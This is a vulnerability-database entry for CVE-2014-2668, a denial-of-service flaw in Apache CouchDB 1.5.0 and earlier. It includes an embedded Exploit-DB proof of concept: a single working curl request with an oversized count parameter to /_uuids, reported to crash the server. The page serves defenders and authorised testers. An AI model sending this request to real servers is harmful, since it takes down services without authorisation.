CVE-2014-2668

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Published 2014-03-28 · Modified 2026-05-06

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CVSS v3

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CVSS v4 NEW

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not yet in upstream

VIR risk

6.0

Description

Apache CouchDB 1.5.0 and earlier allows remote attackers to cause a denial of service (CPU and memory consumption) via the count parameter to /_uuids.

Predictions

Exploit likelihood

20%

Patch ETA

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Heuristic predictions, AS-IS, for prioritization only.

Mitigations

No mitigations published for this CVE yet.

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Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-32519 dos multiple verified text · 1 KB

Krusty Hack · 2014-03-26

Apache CouchDB 1.5.0 - 'uuids' Denial of Service

text exploit Source: Exploit-DB

# Exploit Title: Couchdb uuids DOS exploit
# Google Dork inurl: _uuids
# Date: 03/24/2014
# Exploit Author: KrustyHack
# Vendor Homepage: http://couchdb.apache.org/
# Software Link: http://couchdb.apache.org/
# Version: up to 1.5.0
# Tested on: Linux Couchdb up to 1.5.0

HOW TO
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curl http://couchdb_target/_uuids?count=99999999999999999999999999999999999999999999999999999999999999999999999

TEST
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Tested on a 16G RAM Quadcore server. Couchdb dead on 30 seconds with only one GET request.

Application impact

Vendor	Product	Versions	Fixed
apache	couchdb	`{"endIncluding":"1.5.0"}`

References

CWEs

CWE-20

Community-verified mitigations for this CVE will appear above when contributors publish them.

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